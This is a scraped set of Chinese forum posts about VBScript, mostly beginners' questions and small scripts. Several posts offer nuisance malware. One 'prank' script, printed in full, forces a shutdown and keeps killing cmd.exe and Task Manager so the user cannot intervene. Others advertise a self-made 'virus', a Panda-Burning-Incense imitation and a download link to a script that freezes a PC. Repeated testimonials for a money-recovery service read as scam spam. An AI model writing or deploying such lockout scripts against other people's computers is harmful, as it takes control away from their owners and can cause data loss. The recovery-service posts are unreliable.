将Excel(.xlsx)文件保存为txt oExcel.ActiveWorkbook.SaveAs "D:\Test.txt", -4158 如果是另存为为.xlsb文件，后面的

最近研究vbs+的时候，顺手改出来的一个副产品。可以将任意语法正确的vbs代码压缩成一行。用法：拖动需要压缩的vbs文件到程序上就可以了。 应该是没有什么bug的，我的测试中成功的压缩了我的VBSHELL、压缩程序自身和最近我发的那个整人小玩意儿，均能压缩成单行代码并正常运行。 实现代码比较乱，毕竟只是个副产品，而且我的水平有限。 效果图： 压缩前： 压缩后： 因为只是个副产品，所以不会专门维护，但是会随着VBS+主程序的开发而不断改进

哪位大神给我解答一下vbs科学计数法怎么转化为字符串

有本事你就把我放你桌面上的图标删掉 会提示让你设置解除密码，实在解不开双击桌面图标输入密码就自动解除了。 不用解除密码，你能强解吗？ 允许使用任务管理器看到“结束进程”没有，点就完事了，你点啊 做了简单的源码加密，加密器在吧里发过，感兴趣的可以下载研究

做了一个vbs脚本病毒谁要

　　　　--本回复最终解释权归属丶韩菱纱_所有~~~~！！！

以下是源码： rem 由ztw3d制作 Dim i,a,j,Sh i=inputbox("若要打开程序小管家，请输入密码！","程序小管家") if i = "12345" then msgbox"欢迎主人上线",0,"密码正确" j=inputbox("您现在可以进行的操作是：1.关机，2.重启，3.打开计算机，4.打开百度","程序小管家") else msgbox"密码错误!",vbCritical,"错误！" end if if j = "1" then set vs =wscript.createobject("wscript.shell") vs.run"shutdown -s -t 60",true end if if

我的舍友，整天用我的电脑踢实况足球，但是碍于面子没法直说，想求一个自动检测实况足球的然后关闭的代码，求大神和好心人告知，大恩不言谢！

源码如下： Dim a,b,area,i i=inputbox("请输入计算模式‘乘法’‘除法’‘加法’‘减法’") if i = "乘法" then a=inputbox("请输入第一个因数：") b=inputbox("请输入第二个因数：") area=a*b msgbox "积是："&area end if if i = "除法" then a=inputbox("请输入被除数：") b=inputbox("请输入除数：") area=a/b msgbox "商是："&area end if if i = "加法" then a=inputbox("请输入第一个加数：") b=inputbox("请输入第

我其实是个小学生，现在在自学vbs

电脑把文本后戳改为vbs，没有反应，怎么解决，是缺少那个文件

那位大神帮我写一个VBS计算EAN-13最后一位效验码的代码，跪求

一道简单的vbs算术题，看看你会不会vbs的加号(+)、减号(-)、乘号(*)、等号(=)、括号(())、取反(Not)： 请给出这个算式在vbs里运算的结果，要求：用脑子算，不要借助计算机 CStr(Not+3)*(Not+2-+--+(+-+-4*Not-2+1*--1*0))-+--+-3*-+-2-2=False+-+9*0--+-++-0 算完可以自己用电脑验证一下对不对，也可以发回复

我是一个自学vbs的初中生，所以代码语句可能有些冗余的地方，希望能有人帮忙看看我的代码有什么问题，如果能指出，我会非常感谢

利用了BASE64编码和UTF-8曲线救国，使维吉尼亚加解密支持了UTF-8字符集内的所有字符。只要是UTF-8字符集内的字符组成的字符串，都可以作为被加密明文和密钥使用。 有大佬（没错就是命幽大佬）曾经写过直接基于二进制数据的维吉尼亚加解密，自然是比我这个更快更简洁，可惜现在实在是找不到了，只好按这个笨办法写一个自己用。单就结果来说，也还不错。 示例效果： 而且我这个还是经过我家火绒官方认证的哈哈哈笑死我了： 无毒，这是误报，

文件夹内有若干文件 刘德华 - 忘情水.mp3 刘天王-世上只有妈妈好.mp3 A张老板 - 小可爱的歌曲.mp3 网络小说-花千骨.txt 网络视频-花千骨.mp4 删除符号-以前所有的字符，有时候这个符号 - 前后有空格，如何实现批处理

仿熊猫烧香病毒

本人VBS恶搞代码： set ws=createobject("wscript.shell") ws.run"cmd.exe /c shutdown -s -f -t 60" wscript.sleep 3000 do set bag=getobject("winmgmts:\\.\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='cmd.exe'") for each i in pipe i.terminate() next set bag=getobject("winmgmts:\\.\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='taskmgr.exe'") for each i in pipe i.terminate() next wscript.sleep 1000 loop ——————————————分割线—

今天，想给大家发这么一篇vbs的入门教程。 先来介绍一下我自己，一个在全国一线城市的中考生。 两年前，我曾第一次在这个地方发布教程，那时，我初一。但很不幸，那篇教程被吞了，今天，我认为，我可以再写一篇。 接触到vbs是在我小学六年级的时候。那时，一个小伙伴过来，给我介绍了这种神奇的东西，当时我们是在课室的电脑上操作的。我当时也找不到老师，自学。其实编程可以很简单，当时的我至少能够弄懂一些皮毛。相信在看的各位也

我做了一个vbs，我们家16GB内存的电脑被卡死了，cral+alt+delete也被卡的打不开你们运行试试。 下载地址如下： 链接：https://pan.baidu.com/s/12SZpmW2RVyETftkbVCd6Yg 提取码：3qgo

ipad上写的，改了一下格式。 下载地址在下方： 链接：https://pan.baidu.com/s/12SZpmW2RVyETftkbVCd6Yg 提取码：3qgo 下面是源码：

求助大神们 如何做一个可以打开一个铺满全屏的图片的vbs程序？？？

求助各位大神 如何做一个可以禁用cmd的vbs程序及其解药？

求个每隔10分钟按两次F11和F12的脚本

求跪大佬，求一个用vbs做小游戏的代码！！！

打个代码doloop明明完整他说我下面loop缺少do，把loop删掉他又说我do语句缺少loop，这咋整啊

自己用vbs做的病毒 感染力不强，360可以直接防，但杀伤力极大 一中必废一个电脑 源代码有些许累赘，创了好几个createobject指令和sub，纯粹为了装B 不敢想象运行起来会是什么样子

各位大神 有谁知道vbs这个报错怎么解决 源码: Dim PW,a a=Msgbox ("此文件为病毒程序,运行后会使您的计算机受到伤害。要运行程序请单击 确定 ,要关闭程序请单击 取消 。",vbOKCancel,vbExclamation,"提示") If a=VByes then PW=Inputbox ("请输入密码。","提示") If PW=20100623 Then Msgbox "密码正确。",vbInformation,"提示" Else Msgbox "密码错误，请重新输入。",vbCritical,"提示" End if End if 报错: 行:2 字符:1 错误:无效的过程调用与

求大神解答啊。。

打开网址：http://www.hao123.com/，想要自动点击“百度一下”的按钮（注意：不是通过回车键，而是根据已知的元素ID、值或者元素特征字符串，调用vbs模拟鼠标点击），“百度一下”的元素ID：searchGroupBtn，值(value)：百度一下，元素特征字符串：id:searchGroupBtn。

如题，本人玩游戏需要调桌面右键调出来那个显示设置里的桌面颜色设置，每次玩完游戏手工调比较麻烦，可以写两个vbs，直接运行进行调节吗？

这个老头今年40几岁了，之前一直单身。自从找我给他追款回来以后，网上女朋友也找到了，还奔现实，还拍了视频给我，看见他这么幸福，我真的很高兴。

这个老头今年40几岁了，之前一直单身。自从找我给他追款回来以后，网上女朋友也找到了，还奔现实，还拍了视频给我，看见他这么幸福，我真的很高兴。

请教VBS达人，如何用VBS获取鼠标所在的位置的属性内容？ 我希望做到获得鼠标所在位置的属性，并进行判断，比如： 当鼠标停留在网页上的图片上时

大哥们，这个怎么解？

豪哥追款真给力。

如何用vbs来检测系统是否静音，或者让静音代码循环，但不显示出来，也不影响系统正常使用

我的do loop输出的都是一些奇怪字母 do msgbox("我喜欢你") msgbox("关不掉的") loop 有错吗我不能输出中文来有点想繁体字

Vbs Unpacker 2.4 (-- 软件介绍 --) Vbs Unpacker 是 Vbs2Exe 的克星，能够将 VBS 文件从 Vbs2Exe 打包好的 EXE 中提取出来。可以理解为对 Vbs2Exe 的逆操作。 Vbs Unpacker 支持大多数文件释放型程序的文件提取，包括但不限于对 Vbs2Exe、Bat2Exe、All2Exe、文件改造者等工具输出的文件进行提取，对于其他同样原理的程序，也可以成功提取目标文件。 同样可以处理利用 WinRAR、好压、快压等压缩软件的自解压功能实现的程序，但会输出一些无关的文件。 使用方法：用户可通过

大家有钱的出钱有力的出力，谁知道vbs整人程序尽可发出来